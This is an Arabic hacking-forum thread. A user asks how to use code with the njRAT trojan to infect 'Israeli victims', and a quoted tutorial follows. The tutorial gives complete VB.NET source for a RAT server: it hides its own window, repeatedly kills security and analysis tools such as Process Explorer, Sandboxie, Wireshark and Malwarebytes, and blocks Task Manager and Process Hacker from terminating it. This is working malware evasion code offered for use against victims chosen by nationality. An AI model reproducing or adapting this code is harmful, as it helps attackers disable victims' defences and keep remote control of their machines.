منها, الاكواد, السيرفر, استخدام, تكوين, والاستافدة, كيفية
بسم الله الرحمن الرحيم
تحية طيبة.....
واجهتني مشكلة في الطريقة الصحيحة في استخدام هذه الاكواد وانا محتاجها لتثبيت الضحايا الاسرائيلين
اتمنى افادتي وكيفية استخدام هذه الكود علما ان البرنامج نجر رات +كيفية اضافته للسيرفر
 |
 |
|
 |
|
الحمد لله الذي لولاه ما جرى قلم , ولا تكلم لسان , والصلاة والسلام على
سيدنا محمد [ صلى الله عليه واله وصحبة وسلم ] كان أفصح الناس لسانا وأوضحهم بياناً .
|------------------------------------------------------------------------------------------|
[ .. كيف حالكم اعضاء حماية الاجهزة اقسم بالله انني اشتقت لكم ، اليوم درسنا يتكلم عن طريقة للتلغيم في الـ ' vb.net ' .. ]
[ .. الكل شاهد سيرفر البيفروست المجنون للمبرمج ' aelx alex ales ' .. ]
[ .. جاءتني فكرة ان اقوم بعمل نفس السيرفر ولانني مبتدأ جداااااا بالـ ' vb.net ' .. ]
[ .. لذلك لا تتوقعوا مني الكثير فأنا مازلت مبتدأ .. ]
[ .. مبدأ العمل ، اذا قمت بتشغيل السيرفر ووجد اي برنامج فحص يقتلة ولا يعمل ابدا الا ان قمت قتل السيرفر + السيرفر لا يمكن قتلة :15: .. ]
[ .. علينا ذكر الحقوق ' كود منع قتل العمليات من برمجة njq8 ' .. ]
[ .. تم تطبيق الفكرة على ' vb.net 2012 ' .. ]
[ .. نبدأ .. ]
[ .. انا قمت بتخطي ، فقط هذه البرامج .. ]
[ .. procexp .. ] [ .. البروسس الشهير .. ]
[ .. sindbox .. ] [ .. نظام العزل الساند بوكس .. ]
[ .. spythespy .. ] [ .. مراقبة المسارات .. ]
[ .. speedgear .. ] [ .. تسريع الوقت .. ]
[ .. wireshark .. ] [ .. مراقبة الاتصالات الخارجية .. ]
[ .. apatedns .. ] [ .. مراقبة الاتصالات الخارجية .. ]
[ .. malwarbytes .. ] [ .. صائد السيرفرات المشفرة .. ]
[ .. ipblocker .. ] [ .. مراقبة الاتصالات الخارجية .. ]
[ .. cports .. ] [ .. مراقبة العمليات + البورت لكل عملية .. ]
|------------------------------------------------------------------------------------------|
[ .. اولا ' نقوم بفتح مشروع جديد ، ثم نقوم بإضافة ' timer ' .. ]
[ .. الان انقر نقرتان على الفورم الاساسي ، واكتب فيه .. ]
كود:
public class form1
dim c as new antitaskmanager
private sub form1_formclosing(byval sender as object, byval e as system.windows.forms.formclosingeventargs) handles me.formclosing
end
end sub
private sub form1_load(byval sender as system.object, byval e as system.eventargs) handles mybase.load
me.hide()
control.checkforillegalcrossthreadcalls = false
dim t as new threading.thread(addressof c.protect)
t.start()
timer1.start()
me.r e fresh()
end sub
private sub timer1_tick(sender as object, e as eventargs) handles timer1.tick
on error resume next
dim security() as process = system.diagnostics.process.getprocessesbyname("procexp")
for each najaf as process in security
najaf.kill()
next
dim security1() as process = system.diagnostics.process.getprocessesbyname("sbiectrl")
for each najaf1 as process in security1
najaf1.kill()
next
dim security2() as process = system.diagnostics.process.getprocessesbyname("spythespy")
for each najaf2 as process in security2
najaf2.kill()
next
dim security3() as process = system.diagnostics.process.getprocessesbyname("speedgear")
for each najaf3 as process in security3
najaf3.kill()
next
dim security9() as process = system.diagnostics.process.getprocessesbyname("wireshark")
for each najaf9 as process in security9
najaf9.kill()
next
dim security10() as process = system.diagnostics.process.getprocessesbyname("mbam")
for each najaf10 as process in security10
najaf10.kill()
next
dim security13() as process = system.diagnostics.process.getprocessesbyname("apatedns")
for each najaf13 as process in security13
najaf13.kill()
next
dim security14() as process = system.diagnostics.process.getprocessesbyname("ipblocker")
for each najaf14 as process in security14
najaf14.kill()
next
dim security15() as process = system.diagnostics.process.getprocessesbyname("cports")
for each najaf15 as process in security15
najaf15.kill()
next
end sub
end class
public class antitaskmanager
' c0d3d by njq8
<runtime.interopservices.dllimport("user32.dll")> _
private shared function enablewindow(byval hwnd as intptr, byval benable as boolean) as boolean
end function
private declare function getwindowthreadprocessid lib "user32.dll" (byval hwnd as _
intptr, byref lpdwprocessid as integer) as integer
private declare function getforegroundwindow lib "user32.dll" () as intptr
private declare function getclassname lib "user32" alias "getclassnamea" (byval hwnd as _
integer, byval lpclassname as string, byval nmaxcount as integer) as integer
private declare function sendmessage lib "user32" alias "sendmessagea" (byval _
hwnd as integer, byval wmsg as integer, byval wparam as integer, byval lparam as string) as integer
private declare auto function getwindowtext lib "user32.dll" (byval hwnd as int32, _
byval lpstring as system.text.stringbuilder, byval cch as int32) as int32
private declare auto function getwindowtextlength lib "user32.dll" (byval hwnd as int32) as int32
private delegate function enumwindproc(byval hwnd as int32, byval lparam as int32) as boolean
private delegate function enumchildwindproc(byval hwnd as int32, byval _
lparam as int32) as boolean
private declare function enumchildwindows lib "user32" (byval hwnd as intptr, _
byval lpenumfunc as enumwindproc, byref lparam as intptr) as int32
private function enumchild(byval hwnd as int32, byval lparam as int32) as boolean
cld.add(hwnd)
return true
end function
public sub protect()
while true
threading.thread.sleep(0)
dim hwd = getforegroundwindow
if hwd.toint32 = 0 then continue while
dim id as integer = 0
getwindowthreadprocessid(hwd, id)
if id > 0 then
dim title as string = ""
dim text_len as integer = getwindowtextlength(hwd)
if text_len = 0 then
title = ""
else
dim sb as new system.text.stringbuilder(text_len + 1)
dim ret = getwindowtext(hwd, sb, sb.capacity)
if ret = 0 then
title = ""
else
title = sb.tostring
end if
end if
dim p as process = process.getprocessbyid(id)
if p.processname.tolower = "taskmgr" or p.processname.tolower _
= "processhacker" or title.tolower = "process explorer" then
dim button as new list(of intptr)
dim statics as integer = 0
for each x as intptr in getchild(hwd)
dim classname as string = space(200)
dim ln as integer = getclassname(x, classname, 200)
classname = classname.remove(ln, 200 - ln)
if classname.tolower = "button" then
button.add(x)
end if
if classname.tolower = "static" or classname.tolower _
= "directuihwnd" then
statics += 1
end if
next
if button.count = 2 and (statics = 2 or statics = 1) then
enablewindow(button(0), false)
sendmessage(button(0), &hc, 0, "")
end if
end if
end if
end while
end sub
private cld as new list(of intptr)
private function getchild(byval hwd as intptr) as intptr()
synclock me
cld.clear()
enumchildwindows(hwd, new enumwindproc(addressof enumchild), 0)
return cld.toarray
end synclock
end function
end class
[ .. قم بعمل كومبايل وقم بتشغيل البرنامج وحاول تقتلة .. ]
:15: :15: :15: :15: :15: :15: :15: :15: :15: :15:
[ .. تم عمل التخطي + منع القتل ، بما انني اعتزلت الاختراق لن اشرح طريقة اضافة السيرفر .. ]
[ .. غير مبرء للذمة واسأل الله العلي العضيم ان يخسف به الارض من يستخدم الطريقة لاذية مسلم او مسيحي .. ]
[ .. اهداء لكل شخص يسأل عني دائما .. ]
:32:
|
|
 |
|
 |
شكرا لكم
;dtdm hsjo]hl hgh;,h] ,hghsjht]m lkih td j;,dk hgsdvtv
منذ /05-31-2013, 02:02 PM
كيفية استخدام الاكواد والاستافدة منها في تكوين السيرفر
جديد مشاكل وحلول إختراق الأجهزة
العرض الشجري